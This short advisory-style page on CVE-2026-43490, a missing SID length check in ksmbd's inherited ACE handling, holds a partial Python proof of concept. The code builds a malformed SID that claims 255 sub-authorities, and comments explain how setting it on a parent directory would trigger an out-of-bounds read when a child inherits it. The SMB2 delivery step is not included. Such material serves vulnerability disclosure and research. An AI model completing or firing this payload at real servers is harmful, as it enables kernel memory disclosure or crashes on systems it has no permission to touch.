CVE-2026-43490 ksmbd继承ACE SID长度验证缺失漏洞

# PoC Concept: Creating a malformed ACE to trigger OOB read in ksmbd # This is a conceptual demonstration and requires interaction with a vulnerable ksmbd server. import socket import struct # Malformed SID structure with excessive subauthority count # SID: Revision (1 byte), SubAuthCount (1 byte), Authority (6 bytes), SubAuthorities (4 bytes each) # We set SubAuthCount to a high value (e.g., 255) but provide fewer bytes. def build_malformed_sid(): revision = 1 sub_auth_count = 255 # Malformed: Claiming 255 sub-auths authority = b'\x00\x00\x00\x00\x00\x05' # Example Authority (NT Authority) # We provide only 1 sub-authority, but claim 255 sub_authorities = struct.pack('<I', 1234) return struct.pack('<BB6s', revision, sub_auth_count, authority) + sub_authorities # This SID would be placed inside an ACE within a Security Descriptor # sent to the server to set on a parent directory. # When a child is created, ksmbd attempts to inherit this ACE, # triggering the vulnerability. malformed_sid = build_malformed_sid() print(f"Generated malformed SID length: {len(malformed_sid)}") # Further implementation would involve wrapping this in an SMB2 CREATE request # with a specific security descriptor context.